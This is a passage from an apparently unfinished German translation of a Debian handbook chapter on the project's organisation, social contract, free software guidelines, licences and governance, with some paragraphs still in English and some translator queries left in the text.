Diese Großzügigkeit artet manchmal zu einem überreichen Angebot aus: Es ist nicht sinnvoll, 50 CD-ROM zu vertreiben, um eine vollständige Version auf einem Intel-Rechner zu installieren ... Daher sehen wir Debian in zunehmendem Maße als „Meta-Distribution“ an, aus der man spezifische Distributionen entnimmt, die für eine bestimmte Zielgruppe gedacht sind: Debian-Desktop für den traditionellen Einsatz im Büro, Debian-Edu für Bildung und pädagogische Nutzung in einem akademischen Umfeld, Debian-Med für medizinische Anwendungen, Debian-Junior für Kinder usw. Eine ausführliche Liste finden Sie im Abschnitt, der diesem Thema gewidmet ist: Section 1.3.3.1, “Bestehende Debian-Unterprojekte”.

Diese Bereiche sind in einem klar definierten Rahmen so angeordnet, dass eine problemlose Kompatibilität zwischen den verschiedenen „Sub-Distributionen“ gewährleistet ist. Sie alle folgen dem allgemeinen Zeitplan für die Veröffentlichung neuer Versionen. Da sie auf derselben Grundlage aufbauen, können sie leicht mit Anwendungen aus den Debian-Depots erweitert, vervollständigt und personalisiert werden.

Alle Debian-Werkzeuge arbeiten in diese Richtung: debian-cd ermöglicht seit Langem die Erstellung eines CD-ROM-Sets mit ausschließlich vorausgewählten Paketen; debian-installer ist auch ein modulares Installationsprogramm, das einfach an besondere Bedürfnisse angepasst werden kann. APT installiert Pakete unterschiedlichen Ursprungs und stellt dabei den Gesamtzusammenhalt des Systems sicher.

HILFSPROGRAMM Eine Debian-CD-ROM erstellen

debian-cd erstellt gebrauchsfertige ISO-Abbilder für CD-ROM. Raphaël Hertzog ist der Autor der letzten Fassung, die Wartung wird aber hauptsächlich von Steve McIntyre geleitet. Alle Anliegen bezüglich dieser Software werden auf der Mailingliste <debian-cd@lists.debian.org> (auf Englisch) diskutiert.

ZURÜCK ZU DEN GRUNDLAGEN Jedem Rechner seine Architektur

Der Begriff „Architektur“ bezeichnet einen Computertyp (die bekanntesten sind Mac und PC). Jede Architektur unterscheidet sich hauptsächlich durch ihren Prozessor, der zu anderen Prozessoren normalerweise nicht kompatibel ist. Diese Unterschiede in der Hardware bringen verschiedene Betriebsweisen mit sich und machen es daher erforderlich, dass Software für jede Architektur eigens kompiliert wird.

Die meisten der in Debian vorhandenen Programme sind in portablen Programmiersprachen geschrieben: Derselbe Quellcode kann auf verschiedene Architekturen kompiliert werden. Dagegen wird eine ausführbare Binärdatei, die immer für eine bestimmte Architektur kompiliert ist, normalerweise nicht auf einer anderen Architektur laufen.

Erinnern Sie sich daran, dass jedes Programm durch das Schreiben von Quellcode erstellt wird. Dieser Quellcode ist eine Textdatei, die aus Anweisungen in einer bestimmten Programmiersprache besteht. Bevor Sie diese Software verwenden können, muss der Quellcode kompiliert werden. Das bedeutet, dass der Code in eine Binärdatei (eine Folge von maschinenlesbaren Befehlen, die der Prozessor ausführen kann) umgewandelt wird. Jede Programmiersprache hat einen bestimmten Compiler, der diese Operation ausführt (zum Beispiel gcc für die Programmiersprache C).

HILFSPROGRAMM Installationsprogramm

debian-installer ist der Name des Debian-Installationsprogramms. Durch sein modulares Design ist es möglich, ihn in einem weiten Bereich von Installationsszenarien einzusetzen. Die Arbeit an seiner Entwicklung wird auf der Mailingliste <debian-boot@lists.debian.org> unter der Leitung von Otavio Salvador und Joey Hess koordiniert.

1.1.2. Die Qualität freier Software

Debian befolgt alle Prinzipien freier Software, und seine neuen Versionen werden erst veröffentlicht, wenn sie fertig sind. Entwickler werden nicht durch einen vorgegebenen Zeitplan gezwungen, einen willkürlich gesetzten Fertigstellungstermin einzuhalten. Oft beschweren sich Leute über den langen Zeitraum zwischen Debians stabilen Versionen, aber diese Sorgfalt gewährleistet auch seine legendäre Zuverlässigkeit: In der Tat sind monatelange Überprüfungen erforderlich, bevor die vollständige Distribution das Etikett „stabil“ erhält.

Debian geht bei der Qualität keine Kompromisse ein: Alle bekannten kritischen Fehler werden in jeder neuen Version behoben, auch wenn hierdurch der ursprünglich angekündigte Veröffentlichungstermin verschoben werden muss.

Debian schließt keine Benutzerkategorie aus, wie klein die Minderheit auch sein mag. Seinem Installationsprogramm fehlte lange Zeit der letzte Schliff, da es als einziges in der Lage war, auf allen Architekturen, auf denen der Linux-Kernel läuft, zu agieren. Es war nicht möglich, es durch ein anderes Programm zu ersetzen, das zwar benutzerfreundlicher, aber auf PCs (i386-Architektur) beschränkt war. Erfreulicherweise sind diese Tage seit Erscheinen des debian-installer vorbei.

1.1.3. Der rechtliche Rahmen: eine gemeinnützige Organisation

Rechtlich gesehen ist Debian ein Projekt, das von einer amerikanischen gemeinnützigen Freiwilligenvereinigung verwaltet wird. Das Projekt hat tausend Debian-Entwickler, vereinigt aber eine weit größere Anzahl von Mitwirkenden (Übersetzer, Bug-Reporter, Künstler, Gelegenheitsprogrammierer usw.).

Um seinen Auftrag verwirklichen zu können, verfügt Debian über eine große Infrastruktur mit vielen über das Internet verbundenen Servern, die von zahlreichen Sponsoren zur Verfügung gestellt werden.

GEMEINSCHAFT Hinter Debian: die SPI-Vereinigung und lokale Außenstellen

Debian selbst besitzt keine Server, da es nur ein Projekt innerhalb der Organisation Software in the Public Interest (SPI) ist, die sich um die Verwaltung der Hardware und um finanzielle Fragen (Spenden, Anschaffung von Hardware usw.) kümmert. Obwohl sie ursprünglich eigens für das Debian-Projekt gegründet worden war, ist diese Organisation inzwischen auch an anderen Freie-Software-Projekten beteiligt, insbesondere der PostgreSQL-Datenbank und an Freedesktop.org (einem Projekt zur Standardisierung verschiedener Teile moderner grafischer Arbeitsumgebungen wie zum Beispiel GNOME und KDE). Auch das Office-Paket OpenOffice.org gehörte lange Zeit zu SPI.

→ http://www.spi-inc.org/

Neben SPI arbeiten auch diverse lokale Vereinigungen eng mit Debian zusammen, um Geldmittel bereitzustellen, ohne dabei alles in den USA zu zentralisieren. Mit dieser Struktur werden unerschwingliche Kosten für internationale Überweisungen vermieden, und sie passt gut zum dezentralen Charakter des Projekts. In diesem Geist wurde im Sommer 2006 die Vereinigung Debian France gegründet. Zögern Sie nicht, ihr beizutreten und das Projekt zu unterstützen!

→ http://france.debian.net/

1.2. Die Grundlagendokumente

Einige Jahre nach seinem ursprünglichen Start formulierte Debian die Prinzipien, denen es als Projekt für freie Software folgen wollte. Dieser Schritt ermöglicht geordnetes und friedliches Wachstum, indem er sicherstellt, dass sich alle Mitglieder in dieselbe Richtung bewegen. Um Debian-Entwickler zu werden, muss jeder Kandidat die Unterstützung und die Einhaltung der in den Grundlagendokumenten des Projekts festgelegten Prinzipien bestätigen und nachweisen.

Der Entwicklungsprozess wird ständig diskutiert, aber diese Grundlagendokumente erfahren breite und einvernehmliche Unterstützung und ändern sich daher nur selten. Die Debian-Verfassung gewährt noch weitere Garantien: Eine Dreiviertelmehrheit ist erforderlich, um eine Änderung zu genehmigen.

1.2.1. Die Verpflichtung gegenüber den Benutzern

Das Projekt verfügt auch über einen „Gesellschaftsvertrag“. Was hat ein solcher Vertrag in einem Projekt zu suchen, das nur dazu gedacht ist, ein Betriebssystem zu entwickeln? Ganz einfach: Debian arbeitet für seine Benutzer und damit auch für die Gesellschaft. Dieser Vertrag fasst die Verpflichtungen zusammen, die das Projekt eingeht. Lassen Sie sie uns näher betrachten:

Debian wird zu 100% frei bleiben.

Dies ist die wichtigste Regel. Debian besteht und wird weiterhin vollständig und ausschließlich aus freier Software bestehen. Zusätzlich wird auch alle Softwareentwicklung innerhalb des Debian-Projekts selbst frei sein.

AUSBLICK Über die Software hinaus

In der ersten Version des Debian-Gesellschaftsvertrags hieß es: „Debian wird zu 100% freie Software bleiben.“ Das Verschwinden des Wortes „Software“ (mit Verabschiedung der Version 1.1 des Vertrages im April 2004) lässt die Absicht erkennen, Freiheit nicht nur bei der Software zu erreichen, sondern auch bei der Dokumentation und allen anderen Bestandteilen, die Debian innerhalb seines Betriebssystems zur Verfügung stellen möchte.

Diese Änderung, die nur als Leitartikel gedacht war, hatte tatsächlich zahlreiche Konsequenzen, insbesondere die Entfernung einiger problematischer Dokumentationen. Darüber hinaus führt die steigende Verwendung von Firmware in Treibern zu Problemen: Obwohl sie häufig nicht frei sind, sind sie für die ordnungsgemäße Funktion der entsprechenden Hardware notwendig.

Wir werden der Gemeinschaft, die freie Software entwickelt, etwas zurückgeben. ((Wir werden der Freie-Software-Gemeinschaft etwas zurückgeben.))

Any improvement contributed by the Debian project to a work integrated in the distribution is sent back to the author of the work (called “upstream”). In general, Debian will cooperate with the community rather than work in isolation.

GEMEINSCHAFT Upstream-Autor oder Debian-Entwickler?

The term “upstream author” means the author(s)/developer(s) of a work, those who write and develop it. On the other hand, a “Debian developer” uses an existing work to make it into a Debian package (the term “Debian maintainer” is better suited).

Frequently, the line of demarcation is not clear. The Debian maintainer may write a patch, which benefits all users of the work. In general, Debian encourages those in charge of a package in Debian to get involved in “upstream” development as well (they become, then, contributors, without being confined to the simple role of users of a program).

Wir werden Probleme nicht verbergen.

Debian ist keineswegs perfekt, und wir werden jeden Tag neue Probleme finden, die es zu lösen gilt. Wir werden unsere Fehlerdatenbank für alle Zeiten öffentlich betreiben. Fehlermeldungen, die von Personen online abgeschickt werden, werden unverzüglich für andere sichtbar.

Unsere Prioritäten sind unsere Anwender und freie Software.

Diese Verpflichtung ist schwieriger zu erklären. Debian führt damit bei Entscheidungen, die gefällt werden müssen, eine bestimmte Einseitigkeit ein, nämlich eine für die Entwickler einfache Lösung zurückzuweisen, die die Benutzerfreundlichkeit gefährdet, und sich stattdessen für eine elegantere Lösung zu entscheiden, selbst wenn diese schwieriger umzusetzen ist. Dies bedeutet, dass vorrangig die Interessen der Anwender und der freien Software berücksichtigt werden.

Arbeiten, die nicht unseren Standards für freie Software genügen.

Debian accepts and understands that users often want to use some non-free programs. That's why the project allows usage of parts of its infrastructure to distribute Debian packages of non-free software that can safely be redistributed.

GEMEINSCHAFT Für oder gegen den unfreien Bereich?

Die Zusage, eine Struktur zur Unterbringung unfreier Software zu unterhalten (nämlich im Bereich „non-free“, siehe Seitenleiste WÖRTERVERZEICHNIS Die main, contrib und non-free Archive) ist in der Debian-Gemeinschaft immer wieder Diskussionsthema.

Detractors argue that it turns people away from free software equivalents, and contradicts the principle of serving only the free software cause. Supporters flatly state that most of the non-free packages are “nearly free”, and held back by only one or two annoying restrictions (the most common being the prohibition against commercial usage of the software). By distributing these works in the non-free branch, we indirectly explain to the author that their creation would be better known and more widely used if they could be included in the main section. They are, thus, politely invited to alter their license to serve this purpose.

Nach einem ersten fehlgeschlagenen Versuch im Jahre 2004 erschien die vollständige Entfernung des unfreien Bereichs mehrere Jahre lang nicht mehr auf der Tagesordnung, zumal er zahlreiche nützliche Dokumente enthält, die nur deshalb hierhin verlegt worden waren, weil sie die neuen Bedingungen für den Hauptabschnitt((?)) nicht erfüllten. Dies trifft vor allem auf bestimmte vom GNU-Projekt herausgegebene Programmdokumentationsdateien zu (insbesondere Emacs und Make).

Das Vorhandensein des unfreien Bereichs stört vor allem die Free Software Foundation. Deshalb weigert sie sich, Debian als Betriebssystem offiziell zu empfehlen.

1.2.2. Die Debian-Richtlinien für freie Software

Dieses Referenzdokument legt fest, welche Software „frei genug“ ist, dass sie in Debian aufgenommen werden kann. Steht die Lizenz eines Programms in Einklang mit diesen Prinzipien, kann es in den Hauptabschnitt((?)) übernommen werden. Andernfalls, und vorausgesetzt, dass seine freie Verbreitung erlaubt ist, ist es möglicherweise im unfreien Bereich zu finden. Der unfreie Bereich ist kein offizieller Teil von Debian, sondern ein Service, der den Anwendern zusätzlich angeboten wird.

Dieser Text ist nicht nur ein Auswahlkriterium für Debian, sondern ist zu einer Autorität in Sachen freier Software geworden und hat als Grundlage für die „Open Source“-Definition gedient. So ist er historisch gesehen eine der ersten Formalisierungen des Konzepts der „freien Software“.

Die GNU General Public License, die BSD-Lizenz und die Artistic License sind Beispiele traditioneller freier Lizenzen, die die in diesem Text aufgeführten neun Punkte beachten. Im Folgenden ist der Text wiedergegeben, wie er auf der Debian-Website veröffentlicht wurde.

→ http://www.debian.org/social_contract#guidelines

Unbeschränkte Weitergabe.  Ein Bestandteil der Debian-Distribution darf durch seine Lizenz nicht verhindern, dass irgendjemand diese Software als Bestandteil einer Softwaredistribution, die Programme aus den verschiedensten Quellen enthält, verkauft oder weitergibt. Die Lizenz darf keine Abgaben oder sonstigen Leistungen für einen solchen Verkauf fordern.

ZURÜCK ZU DEN GRUNDLAGEN Freie Lizenzen

Die GNU GPL, die BSD-Lizenz und die Artistic License entsprechen alle den Debian-Richtlinien für freie Software, obwohl sie alle sehr unterschiedlich sind.

The GNU GPL, used and promoted by the FSF (Free Software Foundation), is the most common. Its main feature is that it also applies to any derived work that is redistributed: a program incorporating or using GPL code can only be distributed according to its terms. It prohibits, thus, any reuse in a proprietary application. This poses serious problems for the reuse of GPL code in free software incompatible with this license. As such, it is sometimes impossible to link a program published under another free software license with a library distributed under the GPL. On the other hand, this license is very solid in American law: FSF lawyers have participated in the drafting thereof, and have often forced violators to reach an amicable agreement with the FSF without going to court.

→ http://www.gnu.org/copyleft/gpl.html

Die BSD-Lizenz ist die am wenigsten einschränkende: Alles ist erlaubt, einschließlich der Verwendung modifizierten BSD-Codes in einer proprietären Anwendung. Selbst Microsoft benutzt sie, indem es die TCP/IP-Schichten von Windows NT von denen des BSD-Kernels ableitet.

→ http://www.opensource.org/licenses/bsd-license.php

Schließlich stellt die Artistic License einen Kompromiss zwischen den anderen beiden dar: Einbeziehung von Code in einer proprietären Anwendung ist erlaubt, jedoch muss jegliche Veränderung offengelegt werden.

→ http://www.opensource.org/licenses/artistic-license-2.0.php

Der vollständige Text dieser Lizenzen steht auf jedem Debian-System unter /usr/share/common-licenses/ zur Verfügung.

Quellcode.  Das Programm muss im Quellcode vorliegen, und es muss die Weitergabe sowohl im Quellcode als auch in kompilierter Form erlaubt sein.

Weiterführende Arbeiten.  Die Lizenz muss Veränderungen und weiterführende Arbeiten gestatten und es erlauben, dass diese unter den gleichen Lizenzbedingungen weitergegeben werden dürfen wie die Original-Software.

Integrität des ursprünglichen Quellcodes.  Die Lizenz darf die Weitergabe von verändertem Quellcode nur dann verbieten, wenn sie die Weitergabe von sogenannten „Patch-Dateien“ mit dem Quellcode erlaubt, die dazu dienen, das Programm vor seiner Herstellung zu modifizieren. Die Lizenz muss ausdrücklich die Weitergabe der aus dem veränderten Quellcode erzeugten Programme erlauben. Die Lizenz darf fordern, dass die veränderten Programme einen anderen Namen oder eine andere Versionsnummer tragen müssen. (Dies ist ein Kompromiss. Die Debian-Gruppe ermutigt alle Autoren, Veränderungen an Dateien sowohl im Quellcode als auch in Binärform zu erlauben.)

Keine Diskriminierung von Personen oder Gruppen.  Die Lizenz darf keine Person oder Gruppe von Personen diskriminieren.

Keine Diskriminierung von Einsatzbereichen.  Die Lizenz darf keine Einschränkungen hinsichtlich des Einsatzbereichs vornehmen. Beispielsweise darf sie nicht verhindern, dass das Programm geschäftlich oder für genetische Forschungen verwendet wird.

Weitergabe der Lizenz.  Die mit einem Programm verbundenen Rechte müssen für alle gelten, die das Programm erhalten, ohne dass es für sie notwendig ist, eine zusätzliche Lizenz zu erwerben.

Keine spezielle Lizenz für Debian.  Die mit dem Programm verbundenen Rechte dürfen nicht davon abhängig sein, dass das Programm Teil des Debian-Systems ist. Falls das Programm aus der Debian-Distribution herausgenommen wird und ohne Debian genutzt oder vertrieben werden soll, ansonsten aber im Rahmen der Programmlizenz bleibt, so müssen alle Parteien, die das Programm bekommen, die gleichen Rechte haben, wie sie im Zusammenhang mit dem Debian-System gewährt wurden.

Keine Auswirkungen auf andere Programme.  Die Lizenz darf keine Beschränkungen enthalten, die Auswirkungen auf andere Software hat, die mit diesem Programm weitergegeben wird. Beispielsweise darf die Lizenz nicht vorschreiben, dass alle anderen Programme auf dem gleichen Medium freie Software sein müssen.

ZURÜCK ZU DEN GRUNDLAGEN Copyleft

Copyleft is a principle that consists in using copyrights to guarantee the freedom of a work and its derivatives, rather than restrict the rights of uses, as is the case with proprietary software. It is, also, a play of words on the term “copyright”. Richard Stallman discovered the idea when a friend of his, fond of puns, wrote on an envelope addressed to him: “copyleft: all rights reversed”. Copyleft imposes preservation of all initial liberties upon distribution of an original or modified version of a work (usually a program). It is, thus, not possible to distribute a program as proprietary software if it is derived from code from a copyleft released program.

Die bekanntesten Copyleft-Lizenzen sind natürlich die GNU GPL und deren Ableger, die GNU LGPL oder GNU Lesser General Public License und die GNU FDL oder GNU Free Documentation License. Leider sind die Copyleft-Lizenzen untereinander nicht kompatibel. Deshalb ist es am besten, nur eine von ihnen zu verwenden.

GEMEINSCHAFT Bruce Perens, ein umstrittener Leiter

Bruce Perens, der zweite Leiter des Debian-Projekts nach Ian Murdock, war wegen seiner dynamischen und autoritären Methoden sehr umstritten. Dennoch bleibt er ein wichtiger Unterstützer des Projekts, dem Debian insbesondere für das Editieren der bekannten „Debian-Richtlinien für freie Software“ zu Dank verpflichtet ist, einer ursprünglich auf Ean Schuessler zurückgehenden Idee. Anschließend leitete Bruce daraus die bekannte „Open-Source-Definition“ ab, bei der er alle Verweise auf Debian entfernte.

→ http://www.opensource.org/

His departure from the project was quite emotional, but Bruce has remained strongly attached to Debian, since he continues to promote this distribution in political and economic spheres. He still sporadically appears on the e-mail lists to give his advice and present his latest initiatives in favor of Debian.

Als abschließende Anekdote sei erwähnt, dass die Anregung für die verschiedenen „Codenamen“ der Debian-Versionen auf Bruce zurückzuführen ist (1.1 — Rex, 1.2 — Buzz, 1.3 — Bo, 2.0 — Hamm, 2.1 — Slink, 2.2 — Potato, 3.0 — Woody, 3.1 — Sarge, 4.0 — Etch, 5.0 — Lenny, 6.0 — Squeeze, Testing — Wheezy, Unstable — Sid). Sie sind von den Namen der Figuren in dem Film Toy Story abgeleitet. Dieser vollständig aus Computergrafik bestehende Animationsfilm ist von Pixar Studios produziert worden, bei denen Bruce zu der Zeit, als er das Debian-Projekt leitete, beschäftigt war. Dem Namen „Sid“ kommt besondere Bedeutung zu, da er auf Dauer der Unstable-Variante zugeordnet ist. In dem Film war diese Figur der Nachbarjunge, der ständig Spielzeug zerbrach - also hüten Sie sich davor, Unstable zu nahe zu kommen. Darüber hinaus ist Sid auch ein Akronym für „Still in Development“ (noch in der Entwicklung).

1.3. Das Innenleben des Debian-Projekts

Die vom Debian-Projekt erzielten Ergebnisse entstehen zu gleichen Teilen aus der von erfahrenen Debian-Entwicklern geleisteten Arbeit an der Infrastruktur, aus individueller und gemeinsamer Entwicklungsarbeit an Debian-Paketen wie auch aus Rückmeldungen der Anwender.

1.3.1. Die Debian-Entwickler

Debian-Entwickler haben verschiedene Aufgaben, und als offizielle Projektmitglieder haben sie großen Einfluss auf die Richtung, die das Projekt einschlägt. Ein Debian-Entwickler ist üblicherweise für mindestens ein Paket zuständig, kann sich aber je nach Wunsch und verfügbarer Zeit an mehreren Teams beteiligen und so größere Verantwortung innerhalb des Projekts übernehmen.

→ http://www.debian.org/devel/people

→ http://www.debian.org/intro/organization

→ http://wiki.debian.org/Teams

HILFSPROGRAMM Entwicklerdatenbank

Debian verfügt über eine Datenbank, die alle beim Projekt registrierten Entwickler und ihre dazugehörigen Daten enthält (Anschrift, Telefonnummer, geografische Koordinaten wie Längen- und Breitengrad usw.). Einige Informationen (Vor- und Zuname, Land, Benutzername beim Projekt, IRC-Benutzername, GnuPG-Schlüssel usw.) sind öffentlich und im Internet zugänglich.

→ http://db.debian.org/

Die geografischen Koordinaten ermöglichen es, eine Karte zu erstellen, die die Standorte aller Entwickler rund um den Globus anzeigt. Debian ist wahrhaft ein internationales Projekt: Seine Entwickler sind auf allen Kontinenten zu finden, auch wenn die Mehrheit im Westen angesiedelt ist.

Figure 1.1. Weltweite Verteilung der Debian-Entwickler

Package maintenance is a relatively regimented activity, very documented or even regulated. It must, in effect, respect all of the standards established by the Debian Policy. Fortunately, there are many tools that facilitate the maintainer's work. The developer can, thus, focus on the specifics of their package and on more complex tasks, such as squashing bugs.

→ http://www.debian.org/doc/debian-policy/

ZURÜCK ZU DEN GRUNDLAGEN Paketbetreuung, die Arbeit eines Entwicklers

Ein Paket zu betreuen, besteht zunächst einmal darin, ein Programm zu „paketieren“. Dies bedeutet insbesondere, die Installationsweise festzulegen, sodass das Programm nach seiner Installation funktioniert und alle Regeln, die sich das Debian-Projekt gegeben hat, einhält. Das Ergebnis dieser Arbeit wird in Form einer .deb-Datei abgespeichert. Das tatsächliche Installieren des Programms erfordert dann nur noch das Entpacken dieses komprimierten Archivs und die Ausführung einiger darin enthaltener Vor- und Nachinstallationsskripte.

Nach diesem ersten Schritt beginnt die Betreuung erst richtig: Aktualisierungen bereitstellen, um der jüngsten Version der Debian-Richtlinien nachzukommen, von Anwendern gemeldete Fehler beheben, eine neue Ursprungsversion des Programms aufnehmen, dessen Enwicklung natürlich gleichzeitig weitergeht. (Zum Beispiel stand das Programm zum Zeitpunkt der ursprünglichen Paketierung in Version 1.2.3. Nach einigen Monaten der Entwicklung veröffentlichen die ursprünglichen Verfasser eine neue stabile Version mit der Versionsnummer 1.4.0. Zu diesem Zeitpunkt sollte der Debian-Betreuer das Paket aktualisieren, sodass Anwender die Verbesserungen der letzten stabilen Version nutzen können.)

Die Richtlinien, ein wesentliches Element des Debian-Projekts, legen die Normen fest, die sowohl die Qualität der Pakete sicherstellen als auch die Interoperabilität der Distribution vervollkommnen. Dank dieser Richtlinien bleibt Debian trotz seiner gewaltigen Größe konsistent. Sie sind nicht in Stein gehauen, sondern entwickeln sich aufgrund von Vorschlägen, die in der Mailingliste <debian-policy@lists.debian.org> gemacht werden, ständig weiter. Änderungen, die von allen genehmigt wurden, werden von einer kleinen Gruppe von Betreuern, die keine redaktionelle Zuständigkeit haben, entgegengenommen und in den Text eingearbeitet. (Sie nehmen nur die Veränderungen auf, auf die sich die Debian-Entwickler, die Mitglied der oben genannten Liste sind, geeinigt haben.) Sie können die aktuellen Veränderungsvorschläge im Fehlerverfolgungssystem nachlesen:

→ http://bugs.debian.org/debian-policy

GEMEINSCHAFT Überarbeitung der Richtlinien

Jeder kann eine Änderung der Debian-Richtlinien vorschlagen, indem er einfach einen Fehlerbericht mit der Einstufung „wishlist“ für das Paket debian-policy einreicht. Der dann einsetzende Prozess ist in /usr/share/doc/debian-policy/Process.html dokumentiert: Falls anerkannt wird, dass zur Lösung des genannten Problems eine neue Regel in die Debian-Richtlinien eingeführt werden muss, beginnt eine Diskussion hierüber in der Mailingliste <debian-policy@lists.debian.org>, die fortdauert, bis Übereinstimmung erzielt und ein Vorschlag erstellt ist. Jemand formuliert dann die gewünschte Änderung und reicht sie zur Genehmigung ein (in Form eines zu begutachtenden Patches). Sobald zwei weitere Entwickler bestätigen, dass die vorgeschlagene Änderung dem in der vorhergehenden Diskussion erzielten Konsens entspricht (sie „sekundieren“), kann der Vorschlag von einem der Betreuer des Pakets debian-policy in das offizielle Dokument aufgenommen werden. Falls dieser Prozess bei einem dieser Schritte scheitert, schließen die Betreuer diese Fehlerstelle und stufen den Vorschlag als abgelehnt ein.

DEBIAN-RICHTLINIEN Die Dokumentation

Die Dokumentation jedes Pakets ist unter /usr/share/doc/paket/ gespeichert. Dieses Verzeichnis enthält häufig eine README.Debian-Datei, die die vom Paketbetreuer vorgenommenen Debian-spezifischen Anpassungen beschreibt. Es ist daher ratsam, diese Datei vor einer etwaigen Konfigurierung zu lesen, um so seine Erfahrungen zu nutzen. Es findet sich hier auch eine changelog.Debian.gz-Datei, die die vom Debian-Betreuer von einer Version zur nächsten vorgenommenen Änderungen darlegt. Diese Datei ist nicht zu verwechseln mit der changelog.gz-Datei, die die von den ursprünglichen Entwicklern vorgenommenen Änderungen erläutert. Die copyright-Datei enthält Informationen über die Autoren und über die Lizenz, unter der die Software steht. Schließlich kann es auch noch eine NEWS.Debian.gz-Datei geben, die es dem Debian-Entwickler ermöglicht, wichtige Aktualisierungsinformationen mitzuteilen (wenn man apt-listchanges benutzt, zeigt apt diese Mitteilungen automatisch an). Alle übrigen Dateien sind für die jeweilige Software spezifisch. Wir möchten besonders auf das Unterverzeichnis examples hinweisen, das häufig Beispielkonfigurationsdateien enthält.

Die Richtlinien decken die technischen Aspekte des Paketierens sehr gut ab. Aus der Größe des Projekts ergeben sich jedoch auch organisatorische Probleme; mit diesen beschäftigt sich die Debian-Verfassung, die eine Struktur und ein Verfahren für die Entscheidungsfindung festlegt.

Diese Verfassung definiert eine bestimmte Anzahl von Rollen und Positionen sowie für jede die Verantwortlichkeiten und Befugnisse. Es ist insbesondere beachtenswert, dass Debian-Entwickler stets eine abschließende Entscheidungsbefugnis durch einen allgemeinen Beschluss haben, bei dem eine qualifizierte Mehrheit von drei Vierteln (75%) der Stimmen erforderlich ist, um wesentliche Änderungen vorzunehmen (wie zum Beispiel solche mit Auswirkung auf die Grundlagendokumente). Indes wählen die Entwickler jedes Jahr einen „Leiter“, der sie in Sitzungen repräsentiert und der die interne Koordination zwischen den verschiedenen Teams sicherstellt. Diese Wahl ist immer eine Zeit erbitterter Diskussionen. Die Rolle dieses Leiters ist in keinem Dokument ausdrücklich definiert: Kandidaten für diese Stelle schlagen gewöhnlich ihre eigene Definition dieser Position vor. In der Praxis bestehen die Rollen des Leiters unter anderem darin, gegenüber den Medien als Repräsentant aufzutreten, „interne“ Teams zu koordinieren und dem Projekt allgemeine Orientierungshilfen anzubieten, auf die sich die Entwickler beziehen können: Die Ansichten des DPL werden stillschweigend von der Mehrheit der Projektmitglieder anerkannt.

Im Besonderen hat der Leiter wirkliche Autorität; seine Stimme entscheidet bei Stimmengleichheit; er kann jede Entscheidung treffen, die nicht bereits unter die Zuständigkeit eines anderen fällt, und er kann seine Verpflichtungen teilweise delegieren.

Seit seiner Gründung wurde das Projekt der Reihe nach von Ian Murdock, Bruce Perens, Ian Jackson, Wichert Akkerman, Ben Collins, Bdale Garbee, Martin Michlmayr, Branden Robinson, Anthony Towns, Sam Hocevar, Steve McIntyre und Stefano Zacchiroli geleitet.

Die Verfassung sieht auch ein „technisches Komitee“ vor. Die wesentliche Rolle dieses Komitees besteht darin, in technischen Fragen zu entscheiden, wenn die beteiligten Entwickler untereinander kein Einvernehmen erzielt haben. Daneben spielt dieser Ausschuss eine beratende Rolle für jeden Entwickler, der eine Entscheidung, für die er verantwortlich ist, nicht trifft. Man sollte beachten, dass das Komitee sich erst dann einmischt, wenn es hierzu von einer der beteiligten Parteien aufgefordert wird.

Schließlich bestimmt die Verfassung die Position eines „Projekt-Schriftführers“, dessen Aufgabe darin besteht, die Abstimmungen im Zusammenhang mit den verschiedenen Wahlen und allgemeinen Beschlüssen zu organisieren.

Das Verfahren des „allgemeinen Beschlusses“ ist in der Verfassung von der anfänglichen Diskussionsphase bis zur abschließenden Stimmenauszählung detailliert beschrieben. Für weitere Einzelheiten siehe:

→ http://www.debian.org/devel/constitution.de.html

GEMEINSCHAFT Flame-War, eine Diskussion, die Feuer fängt

Ein „Flame-War“ ist eine äußerst leidenschaftliche Debatte, die häufig damit endet, dass Teilnehmer sich gegenseitig beschimpfen, nachdem auf beiden Seiten alle vernünftigen Argumente erschöpft sind. Bestimmte Themen sind häufiger Polemiken ausgesetzt als andere (zum Beispiel die Wahl des Text-Editors: „Bevorzugen Sie vi oder emacs?“). Die Themen lösen oft einen sehr schnellen E-Mail-Austausch aus, allein schon aufgrund der grossen Anzahl an Leuten mit einer Meinung zu dem Thema (jeder) und des sehr persönlichen Charakters solcher Fragestellungen.

Normalerweise ergibt sich nichts wirklich Nützliches aus solchen Diskussionen; halten Sie sich aus solchen Debatten heraus, und überfliegen Sie allenfalls ihren Inhalt. Es wäre Zeitverschwendung, sie vollständig durchzulesen.

Auch wenn diese Verfassung einen demokratischen Anschein erweckt, sieht die tägliche Wirklichkeit ziemlich anders aus: Natürlich folgt Debian den Freie-Software-Regeln der „Tu-okratie“: Wer etwas tut, entscheidet auch. Viel Zeit kann darauf verschwendet werden, die jeweiligen Vorteile verschiedener Lösungswege für ein Problem zu diskutieren; am Ende wird die Lösung gewählt, die als erste funktioniert und zufriedenstellend ist ... in Anerkennung der Zeit, die eine sachkundige Person darin investiert hat.

Dies ist der einzige Weg, sich die Sporen zu verdienen: Etwas Nützliches zu tun und zu zeigen, dass man gut gearbeitet hat. Bei Debian agieren viele „Verwaltungsteams“ aufgrund einer Ernennung unter Bevorzugung von Freiwilligen, die bereits erfolgreich mitgewirkt und ihre Sachkenntnis bewiesen haben. Diese Methode ist zweckmäßig, da der Großteil der Arbeit, die diese Teams leisten, öffentlich ist und damit für jeden interessierten Entwickler zugänglich. Deshalb wird Debian häufig als „Meritokratie“ bezeichnet.

KULTUR Meritokratie, die Herrschaft des Wissens

Meritokratie ist eine Regierungsform, bei der die Macht von denen mit den größten Verdiensten ausgeübt wird. Für Debian ist Verdienst ein Maßstab für Kompetenz, die ihrerseits beurteilt wird, indem einer oder mehrere andere im Projekt vorangegangenes Wirken beobachten (Stefano Zacchiroli, der jetzige Projektleiter, spricht von „Tu-okratie“, womit „Macht für diejenigen, die etwas fertigbringen“ gemeint ist). Ihr((Bezug unklar)) einfaches Vorhandensein ist Anzeichen für ein gewisses Kompetenzniveau; ihre Leistungen bestehen üblicherweise aus freier Software mit abrufbarem Quellcode, der zur Beurteilung seiner Qualität von Fachkollegen leicht überprüft werden kann.

